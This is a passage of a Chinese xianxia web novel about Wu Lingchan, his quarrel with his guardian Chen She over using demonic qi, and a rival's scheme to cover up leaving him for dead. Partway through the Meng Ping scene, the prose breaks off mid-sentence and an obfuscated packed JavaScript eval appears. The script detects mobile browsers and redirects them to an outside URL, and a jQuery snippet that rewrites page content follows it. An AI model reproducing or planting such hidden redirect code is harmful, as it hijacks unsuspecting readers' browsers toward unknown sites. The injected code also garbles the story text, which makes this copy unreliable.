谁能想到半路蹦出个乌困困?! 他的好气运呢?! 池敷寒怒道:“我刚把四方乌鹭送给你,你怎能帮着他对付我?!” “是你送的吗?”乌令禅还在高兴地玩棋盘,头都不抬,“不是我凭本事抢来的吗?” 池敷寒:“……” 温眷之:“哈哈哈哈。” *** 日落西山,天幕逐渐暗下来。 辟寒台,尘赦端坐桌案前,修长的手指勾着弦抚奏琴音。 伏舆盘膝坐在屋顶中,大雪落满肩头,听着魔音哼着不成调的小曲,神色如常地擦着刀。 尘赦的声音传来。 “什么时辰了?” 伏舆心中嘀咕,怎么从申时两刻就一直在问时辰? “马上亥时了。” “嗯。” 伏舆没忍住,倒吊在窗户上鬼似的,问:“尘君可是有什么事吩咐?” 尘赦神色淡淡:“没有。” 伏舆挑眉。 分明就有,看着心情就不好。 这时荀谒冒着雪匆匆回来,推门而入。 伏舆疑惑。 尘君心情又好了? 原来是在等荀谒,看来荀二是去办让尘君牵肠挂肚的大事了。 荀谒走进辟寒台行了个礼,道:“今日属下去枉了茔查探大魔气息,又发现数条缝隙出现在四琢学宫附近。” 尘赦淡淡“嗯”了声。 荀谒又说了几件紧急的要事,察觉出尘赦并不在意这些,试探着问:“尘君是在等困少君吗?” 尘赦的魔音又上一层楼,倒是没有反驳。 “今日他为何这么晚还未回来?” 荀谒方才收到消息就一直匆匆往回赶,他仍然不确定乌困困在尘君心中到底什么分量,一时犹豫着该不该说。 “我派人前去看着少君,发现他今日前去后山腹地猎兽。” “嗯,我准的。” 荀谒又在犹豫。 尘赦蹙眉:“他受伤了?” “也不是。”荀谒窥着尘君的神色,“少君猎兽,误打误撞同池霜起了冲突,少君为了一只半魔……用了不知哪里来的魔炁,打赢了池霜。” 砰。 琴弦骤然崩断,古琴被控制不住的灵力碾碎成齑粉。 尘赦脸色前所未有的冰冷。 “他现在人在何处?” 荀谒呼吸都屏住了。 “和池霜、温故……还有那只半魔在空空里玩。” 13. 呜呜呜呜 空空里是昆拂主城最大的酒楼。 入夜灯火如昼,来往众人络绎不绝。 温眷之勇获榜首,昆拂空空里由池少爷做东,早半个月前预定的珍馐美馔桂酒椒浆皆已备下。 池敷寒退无可退,气得吐血。 不过转念一想,如果没有乌困困搅局,温眷之还是居于他之下,一百颗魔兽内丹,骑马都比不过自己。 池敷寒以自己为本,温眷之一时走了运,又并非自己技不如人,何必如此怄气? 区区一次排名罢了,区区一个温眷之,区区……呵。 池敷寒也输得起,大手一挥,仍然做东,庆祝第二。 出锋学斋的学子有二十余人,听到学斋玉简的消息后便快马加鞭地赶过来,一人带了一句吉祥话作为礼物。 “哎哟哎哟,区区第二竟然还如此大张旗鼓地庆祝啊,脸皮可真厚啊,哎哟哎哟。” “哈哈哈哈,你小子终于输给温眷之了!钉死在耻辱柱上吧池区区。” “恭喜温故!终于狠狠抽了这混账东西的脸……哎,区区,是里面坐桌吃席是吧?掌柜的!我要最贵的,把最贵的全都上一遍!” 温眷之谦逊有礼:“哈哈哈哈,侥幸罢了。” 池区区学他说话:“哈哈哈哈,不吃就滚!” 众人心满意足地进去吃了。 只是进去后,发现空空里的首席座上盘膝坐着个陌生人。 ——那一般是池敷寒的位置。 众人面面相觑。 谁啊这是? 乌令禅托着腮懒洋洋坐在那,对那些探究的视线视若无睹:“好热闹呀。” 出锋学斋比试结束后,他本是想带着玉棋盘回辟寒台送给阿兄,可温眷之诚挚地邀请他来空空里喝酒,顺便看池敷寒的笑话。 乌令禅欣然跟来。 看池敷寒吃瘪,的确不虚此行。 收完所有吉祥话,池敷寒拎着一坛酒大马金刀坐在乌令禅对面,挑眉道:“那只半魔当真是你好友?尘君最厌恶半魔,若是知道定会将他一刀杀了的。” 空空里位于主城,半魔不敢跟来,已孤身离开。 乌令禅不爱听,瞅他:“手下败将,你到底有话说没话说?” 池敷寒:“……” 池敷寒又换了个话题:“你到底用了什么手段从尘君手中得到四冥金铃?” 乌令禅纤细的手指在腰间的佩饰里扒拉半天,才勾出尘赦送他的小铃铛:“你说这个?” “嗯。” “阿兄送我的,说防身。” 池敷寒又嫉妒了,幽幽道:“乌困困,你当真手段了得。” 乌令禅:“?” 说什么呢,听不懂。 “四冥金铃。”温眷之接受完赞美,敛袍坐在乌令禅身边,眉眼带着笑意,“兵刃榜上,排行十七,可论防护,无人能及。” 乌令禅疑惑地揪着铃铛上的绳子。 这么厉害? 他还以为就是个普通小铃铛。 阿兄真好。 池敷寒越来越觉得此人城府深沉,明明是金丹境大圆满却装炼气期扮猪吃老虎,明明有四冥金铃此等防护法器却不启用,非得和他一招一式地对打。 “明日还来后山猎兽吗?”池敷寒挑眉道,“我们再比一场。” “不行。” 池敷寒追问:“为什么?” 乌令禅捏着点心吃了一口,他觉得温眷之这种言简意赅的说话方式很顺嘴,也不会暴露自己不精通昆拂语的事实。 “丰羽小斋,明日小考,我要拿甲,给阿兄看,让他夸我。” 池敷寒:“?” 温眷之也不喝酒了,愕然看他:“你在丰羽、小小小斋?” “没那么多小,一个小哦。” 温眷之:“……” 两人面面相觑。 池敷寒很快了然,哼笑了声。 尘君定是看出这人的伪装和心机,连四琢学宫都没让他入,将人丢在丰羽小斋眼不见心为净。 众学子推杯交盏,狠狠宰了池敷寒一通。 等到深夜,有个长相俊美的学子醉意上头,没忍住溜达到乌令禅身边,扇着扇子孔雀开屏:“我还未在昆拂见过如此神清骨秀的美人,敢问尊姓大名?” 温眷之眉头微蹙:“别撒酒疯,滚滚滚滚。” 乌令禅倒是不在意,毕竟是夸赞:“乌困困,你平身吧。” “好名字,困知勉行,困勉下学,困困困困……” 温眷之不耐道:“你困了,滚。” 那人就当没听到,笑眯眯地从袖中掏出一张画像卷轴,递给乌令禅:“不知日后有没有机会和困困一同切磋论道?” 在昆拂,给人画像便是隐晦地表示想要追求。 池敷寒蹙眉看着。 昆拂墟强者为尊,哪里有过乌令禅这样漂亮秾艳的皮囊。 乌困困无尘君相护,谁都能染指,就算现在被四冥金铃护着还平安无事,但迟早有一日会被其他修为强悍的大魔强取豪夺。 乌令禅并不懂昆拂墟的规矩,见此人并无恶意,“哦”了声,伸手就要接过画像。 那人眼睛直接亮了。 没想到竟然如此轻而易举? 温眷之正想去拦,砰的一声,空空里大门忽地打开。 众人循声往门口望去,微微愣了。 夜半更深,天已落雨,淅淅沥沥的雨声伴随着湿气被风卷着扑了进来。 荀谒一袭黑衣,避雨诀遮挡大雨,倚在门框上挑眉道:“哟,这儿好热闹啊。” 空空里安静一瞬,不约而同站了起来,惊叫道。 “荀大人——!” 出锋学斋的学子大多皆崇敬尘赦,自然知晓荀谒这个第二杀神的威名。 不过荀谒要么在枉了茔杀兽潮,要么跟随尘赦身边,很少露面,一群还没及冠的小崽子乍一见到真人差点激动地蹦起来。 “荀大人怎么来这里了?!” “也是池区区请来的吗啊啊啊!” “池榜首,我们忏悔!” 池敷寒诧异地起身迎上去,勉强保持着冷静,心里却乐开了花。 “荀大人请进!您来此处可是有什么要事?” 荀谒“嗯”了声:“我奉尘君之命来接少君回家。” 众人又是一愣。 池敷寒反应半晌才记起来“少君”是乌困困,愕然回头看去。 尘君…… 竟然派人来接他?! 乌令禅捏着杯子喝了口酒,因是第一次喝,毫无准备,辣得他五官紧皱“滋啊!”长叹一声,酒入腹中一股暖意泛上来。 外面落雨,乌令禅不太想走:“可是我还没玩够呢,能等会再回吗?” 荀谒抬步走上前,手中还搭了件雪白披风:“尘君有令,立刻回去。” 乌令禅讨价还价:“那我能带一坛酒回去嘛?” “可以。”荀谒难得脾气好,微笑着说,“我为少君拎着吧。” 乌令禅当然不可能自己拎,撑着手起身时狐疑看了荀谒一眼。 上次荀谒露出这种神秘微笑时,还是送他去丰羽小斋的时候。 现在又出什么事了吗? 荀谒拎着酒,在四周一片死寂的注视下,为少君将披风系在肩上,还贴心地将裹在衣服里的长发拨出来。 乌令禅抬步就走。 荀谒紧跟其后,在路过递画像的学子身边,眼眸微微一眯,轻轻打了个响指。 一簇火苗倏地燃起,嗤地一声将那张画像烧成齑粉。 那人一哆嗦。 荀谒笑着拍了拍他的侧脸,拍一下说一个字:“色胆包天,就这么想死吗?” 那人吓得脸一边白一边红,脑袋拨浪鼓似的摇头,一声不敢吭。 自从荀谒进入空空里,旁若无人的拎酒、披衣、烧画像,众人好似做梦般愣怔看着,全都没有反应。 等到空空里的门砰的一声被关上,所有人骤然回神,不约而同爆发出不可置信的叽歪声。 “刚才那是……荀、荀大人吗?” “少君?什么少君?!哪个少君?难道是那个传说中失踪的乌困困?!” “魔神在上!叽里呱啦!昆拂改天换地啦?!” 池敷寒望着紧闭的门,呆若木鸡。 尘君对这位有夺位嫌疑的少君…… 未免过于纵容了。 *** 乌令禅对此毫无所知,哼着小曲被荀谒一路护送回辟寒台,路上还和荀谒嘚啵。 “我又不是孩子,阿兄好担心我,还让你接。” “少君尊贵,理应如此。” 荀谒对乌少君的自恋体现了莫大的包容,甚至怜悯地看着他,希望等会他还能笑得出来。 辟寒台今日未下雪。 乌令禅捏着巴掌大的玉棋盘,红色裾摆翻飞,高高兴兴地跑过长廊,还没进门声儿先飘过去。 “阿兄阿兄阿兄阿兄!” 门没关,乌令禅畅通无阻地跑了进去:“阿兄,我今日凭本事为你……唔?” 辟寒台像是玉雕而成,四处遍布凉意,一看便是苦修之地。 前几日乌令禅出入辟寒台,只觉得落雪时的冷,往蒲团上一坐就能重新暖回来。 今日明明没有落雪,辟寒台正殿却结满寒霜,冰凌如利剑直直朝下竖去,满室皆是肃杀之意。 尘赦端坐玉台,白纱结满寒霜。 乌令禅没来由打了个寒颤。 但凡换个人,察觉到这种诡异的场景早就心生警惕和畏惧,乌令禅却只是裹了裹披风,小跑过去,体贴地问:“阿兄?你在修炼嘛?” 尘赦开口,像是在问他今日功课似的,语调轻飘飘的:“听说你今日为了一只半魔,同池霜交手了。” 清越的声音回荡在大殿中,毫无情感波动。 乌令禅却敏锐地觉得好像和阿兄隔了一层什么,他想了下,“啊”了声,颠颠跑上玉台,将挡在他和阿兄的白纱帘子一扒拉。 ——这样隔阂就没了。 乌令禅安心了:“池区区吗,是啊是啊,我还打赢了呢,把他的玉棋盘抢了过来!” 尘赦忽视他满脸的“夸我夸我”,淡淡问:“你知道半魔是什么吗?” 乌令禅没得到夸也不气馁,坐在尘赦面前的蒲团上,乖乖回答:“由人和魔兽生出的孩子,称之为半魔……噫,为什么不叫半人呢?” 尘赦笑了,柔声道:“半魔是世间最阴险狡诈、狡猾贪婪的生物。” 乌令禅一呆。 “他们骨髓中流着魔兽的血,卑劣、肮脏。”尘赦道,“可他们又能披着人皮,伪装得人畜无害,道貌岸然,实则伺机吞噬你的血肉。” 乌令禅听不太懂这些复杂的话,但总觉得不是什么好词,和自己认识的半魔根本挨不上边。 “小羊不是这样。” 听到这个“小羊”,尘赦眉梢轻挑:“你说他?” 乌令禅顺着尘赦的手指过去,倏地一愣。 本来孤身离开的半魔,此时却被五花大绑地躺在地上双眼紧闭,已失去意识。 乌令禅吓了一跳。 尘赦抓住乌令禅想要起身的手,又轻柔地问:“那你知道魔炁是什么吗?” 乌令禅疑惑看着尘赦,总觉得今日的阿兄不太对劲。 “就……枉了茔血海的东西,魔兽修炼用的禁物。” “嗯,原来你也知晓是魔兽所用。”尘赦笑了起来,慢条斯理道,“那可以告诉阿兄,明知魔炁是禁物,又为何敢往丹田中放?” 乌令禅迷茫了下。 他自小到大很少会和正常人长时间相处,有时并听不出旁人的话里有话,反应大半天才后知后觉。 尘赦是在质问他。 “为何不能放?”乌令禅无法理解,“阿兄说是禁物,不许买卖交易,可我那是别人送的,我能用上便用了,没伤害别人。” 尘赦语调一沉:“乌困困。” 灵力控制不住四散而出,满屋子冰凌悉数被震得往下砸落。 荀谒噤若寒蝉,一声都不敢吭。 他从未见过尘君动过如此大的脾气,也顾不得看好戏了,只期盼着乌令禅赶紧像前几次那样撒个娇卖个蠢,指不定还能免遭责罚。 “我又没说错。”乌令禅不怵他,眉头越皱越紧,“你器重的榜首,不过如此,区区区区。魔炁让我赢了,它就是好东西,我没偷没抢,把小羊放了。” “能让你发疯失智的‘好东西’。”尘赦拽着乌令禅的手腕,灵力转瞬在经脉中一转,“一丝魔炁足够让你遍体鳞伤,灵脉寸断。拼着重伤也要赢,到底能得到什么?” 乌令禅大声说:“玉棋盘,排行第七!” 尘赦道:“华而不实,那有何用?” 乌令禅突然呆住了。 尘赦冷淡道:“池霜金丹中期,你的玄香足以应付,为何要亲自……” 倏地,尘赦感觉手背一热。 荀谒悄无声息吸了一口凉气。 乌令禅哭了。 尘赦所有的质问戛然而止:“你……” 乌令禅不知是生气还是委屈,又像是想骂尘赦却不精通昆拂语,憋得他胸口酸疼,眼泪涌了出来。 乌天骄从小到大哪里受过这种鸟气,浑身都在发抖,再也忍不住脱口而出一堆仙盟通用语。 “你骂我?!池区区也骂我!明明是他挑衅,我只是应战,你却不由分说只骂我!魔炁我用了,我就用了又如何?!此种好东西,我日后要用得更多!大不了你杀了我!” 说完后,看着尘赦面露不解,乌令禅心口似乎更疼了。 那些被乌令禅故意忽略压抑的伤好像一齐尖叫起来,逼得他脸色煞白,只觉得喉咙中泛着一股血腥味。 手中的玉棋盘掉了下来。 方才觉得千般好万般漂亮的第七法器,此时却像是一根针刺在心口。 乌令禅心想。 尘赦根本不稀罕。 也是,昆拂墟尘君,哪里缺这些? 尘赦朝他伸手:“困困……” 乌令禅一把拍开,腾地爬起来将地上的玉棋盘一踢,忍着泪意:“送给你的,尘君不要,就丢掉。” 尘赦一怔。 乌令禅送完,面无表情地从玉台上跑下去,抬手将昏迷中的半魔收入玄香的空间,转身就走。 尘赦垂头,似乎在看玉棋盘。 还没等他回神将乌令禅叫回来,就见外面传来噔噔噔的急促脚步声。 乌令禅去而复返,匆匆跑了回来。 尘赦:“困……” 乌令禅满脸泪痕,又朝他扔来一个东西,哭着大声吼道。 “我讨厌你——!” ——这次用的是为数不多懂的昆拂语,务必让尘赦听懂听清。 尘赦:“…………” 吼完,乌令禅呜咽着冲出辟寒台。 尘赦愣怔片刻,低头一看。 乌令禅扔来的,是他亲手送的小铃铛。 14.恨恨恨恨恨 辟寒台一阵死寂。 荀谒一声不敢吱。 他对魔神祈愿,希望在尘君气消之前,自己能安安稳稳在这里当柱子,不必被迁怒。 正叽里呱啦着,伏舆轻巧地踏雪而来,准确无误落在荀谒身边,随手一扬。 “喏,你的传信,顺手给你带回来了,不必谢。” 荀谒蹙眉,他哪来的信? “你竟会如此好心?”荀谒一边拆一边随口抱怨,“之前让你帮个忙给要了你半条命似的,今日倒……” 荀二话音戛然而止。 大殿满地都是破碎冰凌,寒意化雾丝丝缕缕飘散。 尘赦抬手将玉棋盘捡起,指腹轻轻摩挲,巴掌大的玉转瞬化为正常棋盘大小。 对尘君而言,四方乌鹭并不实用,但的确比他那破破烂烂活像狗啃了的棋盘要“华”。 棋盘整玉雕琢,纵横十九条线每一条皆干脆利落一笔而成,灵力浓郁,是举世不可多得的珍品。 在棋盘边角处,被人刻着一个小字。 尘赦眼睛无法看清,指腹抚摸过去两次,才认清那是个「尘」字。 一笔一划,工工整整。 尘赦指尖轻轻一颤。 “笃笃。” 荀谒在外轻轻扣了扣门:“尘君,八方望从仙盟传信来,有关少君。” “进来。” 荀谒硬着头皮推门而入,满脸视死如归地行了个礼。 八方望是昆拂墟放置在仙盟的暗部,荀谒当时为了省事儿就让八方望的人去查一查乌令禅在仙盟的经历。 尘赦面前放着玉棋盘,语调轻缓:“如何?” 荀谒道:“少君在仙盟极其有名,六岁时被霄雿峰宗主收为关门弟子,天赋异禀,十四岁便已结丹。 “可不知为何,只过一年便在生辰当日,修为尽失金丹破碎。 “霄雿峰宗主似乎对少君另有所图,这些年少君闯下无数祸事,哪怕伤了亲生子孟凭,也未曾将他逐出师门。” 尘赦眉头蹙起。 金丹破碎? 从天之骄子一夜成为修为尽失的凡人,乌困困那个不通人情世故又毫无心机的脾气,恐怕吃了不少苦。 尘赦抚摸棋盘的手指轻轻蜷了,又问:“初回昆拂时,他身上的伤是如何来的?” “霄雿峰宗主有一子,天赋平庸,嫉妒少君,这十年总是暗中憋坏给少君使绊子,被霄雿峰宗主罚闭关思过。” 荀谒越说声音越小:“前段时日因枉了茔裂缝,有秘境开启,孟凭用化神法宝太平弓将少君射伤。” 化神法宝极其罕见,射中身躯岂不是要去掉半条命? 怪不得乌令禅初醒来时,江争流会搬来一桶千年琼浆液给他用。 寒风从窗棂吹拂而来,将四面的雪纱吹拂得胡乱而动。 尘赦短促笑了声,神情却令人胆寒。 霄雿峰,孟凭。 荀谒觉得伸头一刀缩头也是一刀,乘胜追击:“方才伏舆回来时,瞧见少君从偏殿跑走了。” 尘赦一怔:“去哪儿了?” “回丹咎宫。” 数日时间丹咎宫还未修好,寝殿塌陷半边,恰逢外面狂风大作,呼呼往里灌雨。 乌令禅将偏殿属于自己的东西全都扛了回来,可雨太大,尘赦模样的墨人一碰雨,被淋得面目狰狞,活像要吃小孩。 乌令禅脸上不知是雨还是泪,望着那五官扭曲的墨人,委屈和愤怒再次席卷而来,忽然就将手中写满「尘」的厚厚一沓纸全都扔了出去。 “我不是讨厌!我是恨!‘恨’用昆拂语怎么说?!” 乌令禅有种吵架没发挥好的恼恨,一边擦眼泪一边往唯一幸存的床榻上一扑,脸闷在枕上,声音瓮声瓮气,练习:“我黑你!我很你……” ……好像这样就能找回气势。 玄香凝墨化形,将尘赦模样的墨人收拢成一滴墨点没入发中: “小时候都没见你哭过,长大了反倒有出息了——起来。” 乌令禅瘪着嘴坐起来,鼻尖眼眶微红,泪痕还未干。 玄香给他擦眼泪:“我之前劝你什么来着,离尘赦远一些,你非不听……” 乌令禅眼圈通红地瞪他:“我现在要安慰,要人和我一起痛斥尘赦,不需要数落,也不需要你放马后炮!” “怪谁?”玄香说,“你早听我的炮,不就没这档子事了?” “我也恨你!” 好不容易费尽心力搞来个礼物却被弃之敝履,是个人都会觉得委屈,更何况自封为世界中心天运之子的乌天骄。 乌令禅咽不下这口气,挣扎着就要爬起来,重新画一副尘赦的画,拿墨人出气。 玄香哭笑不得,强行将他按在榻上。 “行了,别扑腾了,当务之急还是先调息休养。” 乌令禅不高兴地坐在榻上,盘膝掐诀准备入定。 玄香坐在一边为他护法。 好一会,乌令禅忽然闷闷地说:“我不喜欢他了。” 玄香:“嗯。” “明日丰羽小斋我拿了甲,也不给他看了。” 玄香:“…………” “很硬气。”玄香说,“如果你连丰羽小斋都不去,会不会更硬气些?” “也是。”乌令禅振奋起来,“我要逃课,再也不听他的话了!” 玄香:“……” “入定。” “哦!” 玄香闭着眸吸取今日所吞噬的魔兽内丹。 还不到半刻钟,忽地感觉腿上一重。 乌令禅掐诀入定操控灵力在经脉运转,只是今日魔炁入体又伤了丹田,还未运转一个小周天便倒头一栽,昏睡过去。 玄香注视着乌令禅苍白的脸,轻轻叹了口气。 他将人扶着放在枕上,正要帮他疗伤,远处漫天大雨中传来一阵轻缓的脚步声。 玄香眉头轻轻蹙起。 乌令禅浑浑噩噩,经脉、丹田的钝痛一寸寸泛上,好似凌迟一般,搅和得他在昏睡时也不消停。 “困困……” 梦中有人唤他。 迷茫睁开眼睛,层层叠叠的丹枫叶蔓延到脚下,漫天蛛网被狂风吹拂着发出铮铮的沉闷声。 乌困困没来由地心生畏惧,两只爪子擦了擦脸上的泪,声音哽咽。 “阿兄,阿兄我们一起走、走吧,好不好?” 梦中的尘赦看不清面容,只瞧见他身上落着丹枫叶,还有几丝晶莹的蛛网,跪坐在地上低低喘息。 听到这话,他不耐地道:“滚开!” 乌困困不懂这是什么意思,还想牵他。 “我让你滚——!”尘赦忽然伸手甩开他,肩上又落了几片丹枫叶。 乌困困猝不及防后退数步,一屁股坐在地上,脖子上挂着的铃铛轻轻一晃,发出清脆的声响。 他满脸被推开的迷茫:“阿兄?” 尘赦看他摔倒的刹那,眼瞳一颤,却强迫自己闭上眼不去看,努力压制着颤抖的呼吸。 “你和你爹一样都令我厌恶,立刻离开这里!” 乌困困讷讷道:“可是有小狗咬,我、我害怕,我陪阿兄……” “死不了。”尘赦漠然道,“你就是个累赘,快滚,越远越好。” 乌困困猛地睁大眼睛,呆呆注视着他,泪水汹涌而下。 我不是累赘。 乌令禅从来都痛恨这句话,挣扎着想要从梦中惊醒,浑身的剧痛隐隐袭来,逼得他呜咽一声。 半梦半醒间,似乎有人坐在床沿。 不似玄香的墨香,而是另外一股陌生熟悉的风雪夹杂着竹叶的气息隐约飘来。 乌令禅满脸泪痕,眼睛却睁不开。 那股气息朝着他的眉心拂来,磅礴灵力忽然铺天盖地朝着灵台而来,转瞬在四肢百骸流转数圈。 魔炁对经脉造成的暗伤悄无声息消失,折磨他的钝痛被剥离出去。 乌令禅迷迷瞪瞪地蜷缩在榻上,一只手伸过来,为他将泪拭去。 自后,一夜无梦。 *** 昆拂墟同人族日夜颠倒。 天还亮着,霄雿峰前往秘境历练的弟子历经半月终于回宗,骨兽展翅滑行,伴随着咔哒咔哒的声响停留在山门口。 孟凭面无表情从骨兽上御风落下,视线冷冷扫了一圈身后的弟子。 “记得什么该说,什么不该说。” 众人噤若寒蝉,唯有脸上带伤的少年怨恨地瞪着他。 孟凭冷笑一声,倏地挥出一道灵力,无形的大手一拢,凭空将少年的咽喉扼住,悬在半空。 其他弟子吓了一跳,赶忙去拦。 “少宗主息怒!” “景回!” 孟凭将拦着他的人拂开,掐着柳景回的喉咙将他拽至自己面前,冷冷道:“乌令禅被魔兽夺舍,失了神智成了是非不分的野兽,这才没能从秘境出来,我是大义灭亲——记住了吗?” 柳景回呼吸艰难,听到这话冷笑了声:“少、宗、主就算再嫉妒,也赶不上……” 孟凭眼底倏地一狠,手猛地用力。 砰。 就在他即将扼断柳景回脖颈的刹那,一道灵力从霄雿峰内传来,打中孟凭的手腕。 柳景回从半空中摔落,踉跄着跪在地上,猛烈咳嗽着,满脸被逼出来的泪痕却还在恶狠狠盯着孟凭。 霄雿峰内飘来一道声音:“发生何事了,令禅呢?” 柳景回立刻跪地,嗓音嘶哑:“宗主,令禅被孟凭……” 话还未说完,一道威压倏地压了下来,柳景回瞬间失声。 宗主道:“凭儿?” 孟凭似笑非笑看了柳景回一眼,道:“秘境塌陷,被镇物压制的魔兽倾巢而出,令禅被魔兽夺舍,被逼无奈只能将其留在秘境。” 宗主沉默片刻,问其他人:“是这样吗?” 除了柳景回,其余弟子面面相觑,许久才颔首道:“的确如少宗主所说。” 宗主并未多言,只道:“凭儿,来见我。” 孟凭:“是。” 柳景回狼狈地跪在地上,脖颈处已泛着狰狞的掐痕,死死瞪着孟凭。 孟凭走到他面前,居高临下望着他,讥讽地道:“若还想去蓬莱盛会,就管好自己的嘴,否则我不介意送你下去见那个蠢货。” 说罢,理了理衣袍,御风朝着宗主洞府而去。 柳景回孤身跪在那,久久没有动。 其他弟子心虚又愧疚,瞧着柳景回那副倔样子,满脸忧愁。 柳景回得罪了少宗主,此后恐怕日子不会好过。 孟凭顷刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023874|177512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了宗主洞府,还未站定,便感觉一道掌风呼啸而来。 “啪”地一声。 孟凭结结实实挨了一记耳光,唇角都渗出一丝血痕。 高台之上端坐着身穿道袍的霄雿峰宗主孟真人,他眼眸冷厉,质问道:“你知道自己做了什么吗?” 孟凭不甚在意地擦干唇角的血,似笑非笑道:“爹,我九死一生回来,您一不问我伤势,二不忧心镇物,反倒因为一个蠢货打我——有时我真怀疑乌令禅才是你的亲生子。” 孟真人面无表情:“你伤势如何?” 孟凭咧嘴一笑,将乌令禅已暗淡的神识之玉往地上一丢:“我没受伤,倒是您最爱的‘亲生子’却葬身兽腹,尸骨无存了。” 孟真人:“……” 孟真人揉了揉眉心:“我从小就告诫过你,乌令禅就算气运再佳天赋再好,未来也只会为你所用,一个无父无母的孤儿翻不出什么花儿来,你何必自降身份同他作对?” 孟凭冷笑:“自他入宗,父亲整日赞他天赋高修为精进得快,哪怕他金丹碎了也照样偏爱他,您可知外面是如何传的,如今又来指责我同他作对?” “天赋本就因人而异,他就算没了修为也有大用,他身上的钥匙……” “够了!”孟凭转身,冷厉地道,“我不想知道他的大用是什么,如今他已死透,父亲还是尽快去寻其他的钥匙吧。” 说罢,他不再多留,拂袖而去。 满室寂静。 孟真人面无表情,忽然道:“钥匙不能丢,你去将乌令禅寻回来,不计代价。” 一旁端坐的石狮子轻轻一抖身子,石屑簌簌而落,化为一个身形高大的男人。 “是。” 孟凭沉着脸从洞府走出,还未行几步,身边的道童匆匆跑来。 “少宗主,不好了。” “什么?” “魂灯。”道童急急道,“乌令禅的魂灯还亮着,他还没死!” 孟凭脸色倏地变了。 霄雿峰弟子的魂灯,所用的并非神识、心头血,而是源自魂魄相连的魂血。 即将塌陷的秘境、无数丧失神志的魔兽…… 处境如此危险竟还能活下来,乌令禅的气运好得令人嫉妒。 孟凭脸上泛起一抹恨意,冷冷道:“怪不得我爹这么轻易将此事揭过——派人取了魂灯的血重做玉牌,将乌令禅寻到,生死不论。” 道童愕然,满脸写着“到底多大的仇怨”? 可孟凭满脸恨意,连瞳孔深处似乎都弥漫着不详的红意。 ……竟是被乌令禅激出了心魔? 道童不敢多嘴:“是是。” *** 天将破晓。 八方望连夜将乌令禅在仙盟这些年的遭遇悉数送了过来,尘赦孤身端坐玉台一页一页翻看,辟寒台风雪大作。 荀谒踮着脚尖从外而来,颔首道:“禀尘君,前来修葺的匠人半个时辰便到,会尽快将丹咎宫恢复如初。” 尘赦应了声:“嗯。” 荀谒敏锐察觉尘君心情糟糕透顶,屏住呼吸不吱声。 尘赦将乌令禅那些过往用火焚烧,轻声吩咐:“去看看他醒没醒。” “是要送少君去丰羽小斋吗?” “不。”尘赦抚摸着面前的玉棋盘,“学宫不少人对他有敌意,学宫还是不要去了,让他来辟寒台,日后我亲手教他。” “是。” 荀谒悄悄吸了口凉气,面上恭敬,领命而去。 尘赦下意识用指腹摩挲着那个「尘」字,正想让人准备新的文房四宝,荀谒又匆匆回来了。 “怎么?还没醒?” “不是。”荀谒硬着头皮说,“我到时少君刚起,一见我就呲儿我,还恨我。” 尘赦:“……” 活人无法在玄香的空间待太久,半魔已被放出来,清晨便教了乌令禅“恨”怎么说。 乌令禅昨日受了大委屈,又梦到年幼时被尘赦骂“累赘”,新仇旧恨一起卷土重来,气得他脑瓜子嗡嗡的。 荀谒不巧,正送上门来,劈头盖脸挨了一顿恨。 荀谒被骂懵了,见乌令禅气咻咻地往外跑,忙追上去,言简意赅:“尘君说少君不必去学宫,他会亲自教你。” 乌令禅:“哎呀!尘君竟然愿意亲自教我,那我要不要跪着谢恩呀?” 荀谒:“……” 乌令禅讥讽完,又沉下脸:“尘君不会仙盟话,能教我什么?小羊什么都会,他会教我,还不会骂我累赘!” 半魔谦虚颔首,表示乌少君天下第一、世界中心,尊贵。 荀谒还没说话,乌令禅又说:“你来了正好,帮我带给尘君一句话——昨晚那句‘我讨厌你’收回,换成‘我恨你’。” 荀谒:“……” 恨恨恨,连尘赦身边的人一起恨! 乌令禅一边发动“恨恨恨”攻击,一边带着新老师扬长而去。 尘赦:“…………” 荀谒从未办过如此棘手的任务,试探着遮掩自己的无能:“少君去意坚决,属下不敢强硬去拦。” 尘赦听着那句“累赘”,羽睫动了动,似是无奈叹了口气,缓缓起身。 “他去了哪里?” “看方向,似乎是去四琢学宫的后山。” 15.枉了茔界门 乌令禅恶狠狠地逃课。 ……可逃课倒是威风,他初来乍到根本无处可去,原地转悠几圈,索性去了四琢学宫后山。 半魔一趋一步跟着,想了又想,试探着道:“昆拂墟已被尘君掌控,你同他作对没有好处。” 乌令禅脚步一顿,踮着脚尖按着半魔的双肩:“你看我的脸。” 半魔看了一眼,又很快移开。 “我这张脸长得像是好欺负的吗?”乌令禅做凶恶的表情,龇牙道,“还是说我要为了活着委曲求全,仰人鼻息,听荀谒的话便跑去辟寒台叩拜尘君,感恩戴德?” 一说到熟悉的仙盟话,乌令禅词儿一套一套的。 半魔愣了愣。 像条丧家之犬般躲躲藏藏活着,是他的生存方式。 乌令禅和他不一样。 朝生暮死的蜉蝣,怎能和天边月相比。 乌令禅冷笑了声:“本就是他不分青红皂白斥责我,我不受这个鸟气!” 半魔还是本能怕尘赦:“魔炁不是好东西……” “不是好东西你还给我?” “我以为你会用在其他地方……”谁能想到乌令禅直接往丹田里放。 “小羊。”乌令禅微笑,“你再顶嘴,以后就别跟着我了!” 半魔愣了一会,低声呢喃:“我能一直……跟着你?” “能啊。” 半魔又问:“不会被杀吗?” 枫林掉落红叶,纷纷扬扬宛如落花,乌令禅走在悠长小道,闻言回头看他:“怎么,你怕死呀?” 半魔并不以畏死为耻,重重点头:“嗯!” 乌令禅并无人教导,不光孩子心性,走起路来也时不时蹦一下,鞋尖将层叠衣摆踢得好似花瓣绽放。 “好啊,跟着我,吃香的喝辣的,谁都不会欺负你。如果之后遇到危险,你就往玄香空间里一躲嘛。” 半魔赶紧问:“那少君呢?” 乌令禅瞥他:“我又不一样,若是遇险总能化险为夷。” 半魔:“……” 到底哪来的自信? 半魔正愣怔着,就见乌令禅不知从哪里拿来的一支笔,蘸了点腕间墨块的墨汁,认认真真在他手背写了个字。 ——「乌」。 